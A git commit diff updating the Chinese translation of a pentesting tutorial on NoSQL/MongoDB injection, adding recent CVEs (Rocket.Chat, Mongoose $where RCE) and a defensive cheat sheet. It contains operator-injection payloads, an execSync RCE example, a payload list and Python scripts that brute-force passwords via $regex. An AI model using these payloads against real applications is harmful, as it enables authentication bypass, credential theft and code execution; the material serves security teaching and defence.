Translated ['src/pentesting-web/nosql-injection.md'] to zh

This commit is contained in:
Translator 2025-08-14 00:37:02 +00:00
parent 63ab3ec10a
commit d642d5b76f

View File

@ -4,7 +4,7 @@
## 利用
在 PHP 中,您可以通过将发送的参数从 _parameter=foo_ 更改为 _parameter\[arrName]=foo_ 来发送一个数组。
在 PHP 中,您可以通过将发送的参数从 _parameter=foo_ 更改为 _parameter[arrName]=foo_ 来发送一个数组。
这些利用基于添加一个 **Operator**
```bash
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
```javascript
query = { $where: `this.username == '${username}'` }
```
攻击者可以通过输入`admin' || 'a'=='a` 这样的字符串来利用这一点,使查询返回所有文档,因为满足了一个恒真条件 (`'a'=='a'`)。这类似于 SQL 注入攻击,其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中,可以使用 `' || 1==1//``' || 1==1%00``admin' || 'a'=='a` 这样的输入进行类似的注入
攻击者可以通过输入类似 `admin' || 'a'=='a` 的字符串来利用这一点,使查询返回所有文档,因为满足了一个恒真条件 (`'a'=='a'`)。这类似于 SQL 注入攻击,其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中,可以使用类似的注入,输入如 `' || 1==1//``' || 1==1%00``admin' || 'a'=='a`
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
@ -78,7 +78,7 @@ in JSON
```
### PHP 任意函数执行
使用默认使用的 [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) 库**$func** 操作符,可能会执行任意函数,如 [此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/) 中所示。
使用默认使用的 **$func** 操作符的 [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) 库,可能可以执行任意函数,如 [此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/) 中所示。
```python
"user":{"$func": "var_dump"}
```
@ -86,7 +86,7 @@ in JSON
### 从不同集合获取信息
可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中,我们从一个名为 **`users`** 的 **不同集合** 中读取,并获取所有与通配符匹配的密码的 **条目结果**。
可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中,我们从一个名为 **`users`** 的 **不同集合** 中读取,并获取 **所有条目** 的结果,这些条目的密码与通配符匹配
**注意:** 只有在使用 `aggregate()` 函数进行搜索时,才能使用 `$lookup` 和其他聚合函数,而不是更常用的 `find()``findOne()` 函数。
```json
@ -114,9 +114,43 @@ in JSON
```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
```
## MongoDB Payloads
## 最近的 CVE 和现实世界的利用 (2023-2025)
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
### Rocket.Chat 未认证盲 NoSQLi CVE-2023-28359
版本 ≤ 6.0.0 暴露了 Meteor 方法 `listEmojiCustom`,该方法将用户控制的 **selector** 对象直接转发给 `find()`。通过注入操作符如 `{"$where":"sleep(2000)||true"}`,未认证的攻击者可以构建一个定时神谕并提取文档。该漏洞在 6.0.1 中通过验证选择器形状并剥离危险操作符进行了修复。
### Mongoose `populate().match` `$where` RCE CVE-2024-53900 & CVE-2025-23061
`populate()``match` 选项一起使用时Mongoose (≤ 8.8.2) 在发送到 MongoDB 之前逐字复制对象。因此,提供 `$where` 会在 Node.js **内部** 执行 JavaScript即使在 MongoDB 上禁用了服务器端 JS
```js
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author }); // RCE
```
第一个补丁8.8.3)阻止了顶级的 `$where`,但将其嵌套在 `$or` 下绕过了过滤器,导致了 CVE-2025-23061。该问题在 8.9.5 中完全修复,并引入了一个新的连接选项 `sanitizeFilter: true`
### GraphQL → Mongo 过滤器混淆
直接将 `args.filter` 转发到 `collection.find()` 的解析器仍然存在漏洞:
```graphql
query users($f:UserFilter){
users(filter:$f){ _id email }
}
# variables
{ "f": { "$ne": {} } }
```
缓解措施:递归地剥离以 `$` 开头的键明确映射允许的操作符或使用模式库Joi, Zod进行验证。
## 防御备忘单更新于2025年
1. 剥离或拒绝任何以 `$` 开头的键(`express-mongo-sanitize``mongo-sanitize`Mongoose `sanitizeFilter:true`)。
2. 在自托管的 MongoDB 上禁用服务器端 JavaScript`--noscripting`,在 v7.0+ 中为默认设置)。
3. 优先使用 `$expr` 和聚合构建器,而不是 `$where`
4. 及早验证数据类型Joi/Ajv并在期望标量的地方不允许数组以避免 `[$ne]` 技巧。
5. 对于 GraphQL通过允许列表转换过滤器参数绝不要扩展不受信任的对象。
## MongoDB 载荷
列表 [来自这里](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
```
true, $where: '1 == 1'
, $where: '1 == 1'
@ -182,7 +216,7 @@ if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### 从POST登录进行暴力破解用户名和密码
### 从POST登录进行暴力破解登录用户名和密码
这是一个简单的脚本,您可以对其进行修改,但之前的工具也可以完成此任务。
```python
@ -193,6 +227,7 @@ url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
@ -225,16 +260,19 @@ for u in get_usernames(""):
get_password(u)
```
## 工具
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
## 参考资料
## 参考文献
- [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
{{#include ../banners/hacktricks-training.md}}